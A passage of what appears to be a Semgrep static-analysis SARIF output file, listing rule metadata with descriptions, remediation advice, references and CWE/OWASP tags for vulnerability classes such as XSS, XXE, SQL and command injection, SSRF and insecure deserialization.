Rule](https://semgrep.dev/r/javascript.express.direct-response-write-with-header.direct-response-write-with-header)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Use 'resp.render()' to render safely escaped HTML. Validate the user input, perform contextual output encoding, or sanitize the input. A popular library used to prevent XSS is DOMPurify. You can also use libraries and frameworks such as Angular, Vue, and React, which offer secure defaults when rendering input."},"helpUri":"https://semgrep.dev/r/javascript.express.direct-response-write-with-header.direct-response-write-with-header","id":"javascript.express.direct-response-write-with-header.direct-response-write-with-header","name":"javascript.express.direct-response-write-with-header.direct-response-write-with-header","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.direct-response-write-with-header.direct-response-write-with-header"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Special requests can determine whether a file exists on a filesystem that's outside the Rails app's root directory. To fix this, set config.serve_static_assets = false."},"help":{"markdown":"Special requests can determine whether a file exists on a filesystem that's outside the Rails app's root directory. To fix this, set config.serve_static_assets = false.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.file-disclosure.file-disclosure)\n - [https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_file_disclosure.rb](https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_file_disclosure.rb)\n - [https://groups.google.com/g/rubyonrails-security/c/23fiuwb1NBA/m/MQVM1-5GkPMJ](https://groups.google.com/g/rubyonrails-security/c/23fiuwb1NBA/m/MQVM1-5GkPMJ)\n","text":"Special requests can determine whether a file exists on a filesystem that's outside the Rails app's root directory. To fix this, set config.serve_static_assets = false."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.file-disclosure.file-disclosure","id":"ruby.lang.security.file-disclosure.file-disclosure","name":"ruby.lang.security.file-disclosure.file-disclosure","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.file-disclosure.file-disclosure"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The native Python `xml` library is vulnerable to XML External Entity (XXE) attacks.  These attacks can leak confidential data and \"XML bombs\" can cause denial of service. Do not use this library to parse untrusted input. Instead  the Python documentation recommends using `defusedxml`."},"help":{"markdown":"The native Python `xml` library is vulnerable to XML External Entity (XXE) attacks.  These attacks can leak confidential data and \"XML bombs\" can cause denial of service. Do not use this library to parse untrusted input. Instead  the Python documentation recommends using `defusedxml`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.use-defused-xml-parse.use-defused-xml-parse)\n - [https://docs.python.org/3/library/xml.html](https://docs.python.org/3/library/xml.html)\n - [https://github.com/tiran/defusedxml](https://github.com/tiran/defusedxml)\n - [https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing](https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing)\n","text":"The native Python `xml` library is vulnerable to XML External Entity (XXE) attacks.  These attacks can leak confidential data and \"XML bombs\" can cause denial of service. Do not use this library to parse untrusted input. Instead  the Python documentation recommends using `defusedxml`."},"helpUri":"https://semgrep.dev/r/python.lang.security.use-defused-xml-parse.use-defused-xml-parse","id":"python.lang.security.use-defused-xml-parse.use-defused-xml-parse","name":"python.lang.security.use-defused-xml-parse.use-defused-xml-parse","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.use-defused-xml-parse.use-defused-xml-parse"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Remote debugging protocol does not perform any authentication, so exposing it too widely can be a security risk."},"help":{"markdown":"Remote debugging protocol does not perform any authentication, so exposing it too widely can be a security risk.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.playwright.security.audit.playwright-exposed-chrome-devtools.playwright-exposed-chrome-devtools)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Remote debugging protocol does not perform any authentication, so exposing it too widely can be a security risk."},"helpUri":"https://semgrep.dev/r/javascript.playwright.security.audit.playwright-exposed-chrome-devtools.playwright-exposed-chrome-devtools","id":"javascript.playwright.security.audit.playwright-exposed-chrome-devtools.playwright-exposed-chrome-devtools","name":"javascript.playwright.security.audit.playwright-exposed-chrome-devtools.playwright-exposed-chrome-devtools","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.playwright.security.audit.playwright-exposed-chrome-devtools.playwright-exposed-chrome-devtools"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.hyper.nosql.mongodb-taint.mongodb-taint)\n - [https://docs.rs/mongodb/latest/mongodb/](https://docs.rs/mongodb/latest/mongodb/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/rust.hyper.nosql.mongodb-taint.mongodb-taint","id":"rust.hyper.nosql.mongodb-taint.mongodb-taint","name":"rust.hyper.nosql.mongodb-taint.mongodb-taint","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.hyper.nosql.mongodb-taint.mongodb-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"If unverified user data can reach the `phantom` methods it can result in Server-Side Request Forgery vulnerabilities"},"help":{"markdown":"If unverified user data can reach the `phantom` methods it can result in Server-Side Request Forgery vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.express-wkhtml-injection.express-wkhtmltoimage-injection)\n - [https://www.npmjs.com/package/wkhtmltopdf](https://www.npmjs.com/package/wkhtmltopdf)\n","text":"If unverified user data can reach the `phantom` methods it can result in Server-Side Request Forgery vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.express.security.express-wkhtml-injection.express-wkhtmltoimage-injection","id":"javascript.express.security.express-wkhtml-injection.express-wkhtmltoimage-injection","name":"javascript.express.security.express-wkhtml-injection.express-wkhtmltoimage-injection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.express-wkhtml-injection.express-wkhtmltoimage-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Insecure transport rules to catch socket connections to http, telnet, and ftp servers. This is dangerous because these are protocols that do not encrypt traffic."},"help":{"markdown":"Insecure transport rules to catch socket connections to http, telnet, and ftp servers. This is dangerous because these are protocols that do not encrypt traffic.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.socket-request.socket-request)\n - [https://docs.oracle.com/javase/8/docs/api/java/net/Socket.html](https://docs.oracle.com/javase/8/docs/api/java/net/Socket.html)\n","text":"Insecure transport rules to catch socket connections to http, telnet, and ftp servers. This is dangerous because these are protocols that do not encrypt traffic."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.socket-request.socket-request","id":"problem-based-packs.insecure-transport.java-stdlib.socket-request.socket-request","name":"problem-based-packs.insecure-transport.java-stdlib.socket-request.socket-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.java-stdlib.socket-request.socket-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure EBS Snapshot is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure EBS Snapshot is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-ebs-snapshot-encrypted-with-cmk.aws-ebs-snapshot-encrypted-with-cmk)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Ensure EBS Snapshot is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-ebs-snapshot-encrypted-with-cmk.aws-ebs-snapshot-encrypted-with-cmk","id":"terraform.aws.security.aws-ebs-snapshot-encrypted-with-cmk.aws-ebs-snapshot-encrypted-with-cmk","name":"terraform.aws.security.aws-ebs-snapshot-encrypted-with-cmk.aws-ebs-snapshot-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-ebs-snapshot-encrypted-with-cmk.aws-ebs-snapshot-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Peewee provides a query builder which should allow to create the SQL query in a safe way. If you cannot use it, make sure to check the value exists in an allowlist, such that no user-controllable value can influence the eventual SQL query."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Peewee provides a query builder which should allow to create the SQL query in a safe way. If you cannot use it, make sure to check the value exists in an allowlist, such that no user-controllable value can influence the eventual SQL query.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.db.peewee-django.peewee-django)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Peewee provides a query builder which should allow to create the SQL query in a safe way. If you cannot use it, make sure to check the value exists in an allowlist, such that no user-controllable value can influence the eventual SQL query."},"helpUri":"https://semgrep.dev/r/python.django.db.peewee-django.peewee-django","id":"python.django.db.peewee-django.peewee-django","name":"python.django.db.peewee-django.peewee-django","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.db.peewee-django.peewee-django"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options."},"help":{"markdown":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.os.tainted-dotenv-variable-fastapi.tainted-dotenv-variable-fastapi)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options."},"helpUri":"https://semgrep.dev/r/python.fastapi.os.tainted-dotenv-variable-fastapi.tainted-dotenv-variable-fastapi","id":"python.fastapi.os.tainted-dotenv-variable-fastapi.tainted-dotenv-variable-fastapi","name":"python.fastapi.os.tainted-dotenv-variable-fastapi.tainted-dotenv-variable-fastapi","properties":{"precision":"very-high","tags":["CWE-454: External Initialization of Trusted Variables or Data Stores","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.os.tainted-dotenv-variable-fastapi.tainted-dotenv-variable-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found a formatted template string passed to 'template. HTMLAttr()'. 'template.HTMLAttr()' does not escape contents. Be absolutely sure there is no user-controlled data in this template or validate and sanitize the data before passing it into the template."},"help":{"markdown":"Found a formatted template string passed to 'template. HTMLAttr()'. 'template.HTMLAttr()' does not escape contents. Be absolutely sure there is no user-controlled data in this template or validate and sanitize the data before passing it into the template.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.net.unescaped-data-in-htmlattr.unescaped-data-in-htmlattr)\n - [https://golang.org/pkg/html/template/#HTMLAttr](https://golang.org/pkg/html/template/#HTMLAttr)\n","text":"Found a formatted template string passed to 'template. HTMLAttr()'. 'template.HTMLAttr()' does not escape contents. Be absolutely sure there is no user-controlled data in this template or validate and sanitize the data before passing it into the template."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.net.unescaped-data-in-htmlattr.unescaped-data-in-htmlattr","id":"go.lang.security.audit.net.unescaped-data-in-htmlattr.unescaped-data-in-htmlattr","name":"go.lang.security.audit.net.unescaped-data-in-htmlattr.unescaped-data-in-htmlattr","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.net.unescaped-data-in-htmlattr.unescaped-data-in-htmlattr"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The identified XML parser permits the use of external Document Type Definitions (DTDs). This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The identified XML parser permits the use of external Document Type Definitions (DTDs). This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xxe.schemafactory-xxe.schemafactory-xxe)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n","text":"The identified XML parser permits the use of external Document Type Definitions (DTDs). This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.xxe.schemafactory-xxe.schemafactory-xxe","id":"java.lang.security.xxe.schemafactory-xxe.schemafactory-xxe","name":"java.lang.security.xxe.schemafactory-xxe.schemafactory-xxe","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xxe.schemafactory-xxe.schemafactory-xxe"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. Untrusted input in a command can lead to command injection, allowing attackers to execute arbitrary commands and gain control of the system. To prevent this: 1. Avoid direct command execution: Don't run OS commands with user input directly. 2. Validate and sanitize input: Ensure input is safe by removing or escaping dangerous characters. 3. (preferred) Use safe methods: Use `subprocess.run` without `shell=True` to safely execute commands, as it doesn't call a system shell by default. If `shell=True` is necessary, properly quote and escape all input to prevent shell injection. This is a secure by default approach."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. Untrusted input in a command can lead to command injection, allowing attackers to execute arbitrary commands and gain control of the system. To prevent this: 1. Avoid direct command execution: Don't run OS commands with user input directly. 2. Validate and sanitize input: Ensure input is safe by removing or escaping dangerous characters. 3. (preferred) Use safe methods: Use `subprocess.run` without `shell=True` to safely execute commands, as it doesn't call a system shell by default. If `shell=True` is necessary, properly quote and escape all input to prevent shell injection. This is a secure by default approach.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.os.tainted-os-command-stdlib-django-secure-default.tainted-os-command-stdlib-django-secure-default)\n - [https://docs.python.org/3/library/os.html](https://docs.python.org/3/library/os.html)\n - [https://docs.python.org/3/library/subprocess.html#using-the-subprocess-module](https://docs.python.org/3/library/subprocess.html#using-the-subprocess-module)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n - [https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html](https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. Untrusted input in a command can lead to command injection, allowing attackers to execute arbitrary commands and gain control of the system. To prevent this: 1. Avoid direct command execution: Don't run OS commands with user input directly. 2. Validate and sanitize input: Ensure input is safe by removing or escaping dangerous characters. 3. (preferred) Use safe methods: Use `subprocess.run` without `shell=True` to safely execute commands, as it doesn't call a system shell by default. If `shell=True` is necessary, properly quote and escape all input to prevent shell injection. This is a secure by default approach."},"helpUri":"https://semgrep.dev/r/python.django.os.tainted-os-command-stdlib-django-secure-default.tainted-os-command-stdlib-django-secure-default","id":"python.django.os.tainted-os-command-stdlib-django-secure-default.tainted-os-command-stdlib-django-secure-default","name":"python.django.os.tainted-os-command-stdlib-django-secure-default.tainted-os-command-stdlib-django-secure-default","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.os.tainted-os-command-stdlib-django-secure-default.tainted-os-command-stdlib-django-secure-default"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Parameter \"from\" is checked at incorrect position in \"_allowances\" mapping"},"help":{"markdown":"Parameter \"from\" is checked at incorrect position in \"_allowances\" mapping\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.tecra-coin-burnfrom-bug.tecra-coin-burnfrom-bug)\n - [https://twitter.com/Mauricio_0218/status/1490082073096462340](https://twitter.com/Mauricio_0218/status/1490082073096462340)\n - [https://etherscan.io/address/0xe38b72d6595fd3885d1d2f770aa23e94757f91a1](https://etherscan.io/address/0xe38b72d6595fd3885d1d2f770aa23e94757f91a1)\n","text":"Parameter \"from\" is checked at incorrect position in \"_allowances\" mapping"},"helpUri":"https://semgrep.dev/r/solidity.security.tecra-coin-burnfrom-bug.tecra-coin-burnfrom-bug","id":"solidity.security.tecra-coin-burnfrom-bug.tecra-coin-burnfrom-bug","name":"solidity.security.tecra-coin-burnfrom-bug.tecra-coin-burnfrom-bug","properties":{"precision":"very-high","tags":["CWE-688: Function Call With Incorrect Variable or Reference as Argument","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.tecra-coin-burnfrom-bug.tecra-coin-burnfrom-bug"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a segment of a Flask template where autoescaping is explicitly disabled with '{% autoescape off %}'. This allows rendering of raw HTML in this segment. Ensure no user data is rendered here, otherwise this is a cross-site scripting (XSS) vulnerability, or turn autoescape on."},"help":{"markdown":"Detected a segment of a Flask template where autoescaping is explicitly disabled with '{% autoescape off %}'. This allows rendering of raw HTML in this segment. Ensure no user data is rendered here, otherwise this is a cross-site scripting (XSS) vulnerability, or turn autoescape on.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.xss.audit.template-autoescape-off.template-autoescape-off)\n - [https://flask.palletsprojects.com/en/1.1.x/templating/#controlling-autoescaping](https://flask.palletsprojects.com/en/1.1.x/templating/#controlling-autoescaping)\n - [https://flask.palletsprojects.com/en/1.1.x/templating/#jinja-setup](https://flask.palletsprojects.com/en/1.1.x/templating/#jinja-setup)\n","text":"Detected a segment of a Flask template where autoescaping is explicitly disabled with '{% autoescape off %}'. This allows rendering of raw HTML in this segment. Ensure no user data is rendered here, otherwise this is a cross-site scripting (XSS) vulnerability, or turn autoescape on."},"helpUri":"https://semgrep.dev/r/python.flask.security.xss.audit.template-autoescape-off.template-autoescape-off","id":"python.flask.security.xss.audit.template-autoescape-off.template-autoescape-off","name":"python.flask.security.xss.audit.template-autoescape-off.template-autoescape-off","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.xss.audit.template-autoescape-off.template-autoescape-off"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) Even for a data-only serialization format such as JSON, a malicious string may cause the decoder to consume considerable CPU and memory resources. Limiting the size of data to be parsed is recommended."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) Even for a data-only serialization format such as JSON, a malicious string may cause the decoder to consume considerable CPU and memory resources. Limiting the size of data to be parsed is recommended.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.deserialization.tainted-json-django.tainted-json-django)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://docs.python.org/3/library/json.html](https://docs.python.org/3/library/json.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) Even for a data-only serialization format such as JSON, a malicious string may cause the decoder to consume considerable CPU and memory resources. Limiting the size of data to be parsed is recommended."},"helpUri":"https://semgrep.dev/r/python.django.deserialization.tainted-json-django.tainted-json-django","id":"python.django.deserialization.tainted-json-django.tainted-json-django","name":"python.django.deserialization.tainted-json-django.tainted-json-django","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: 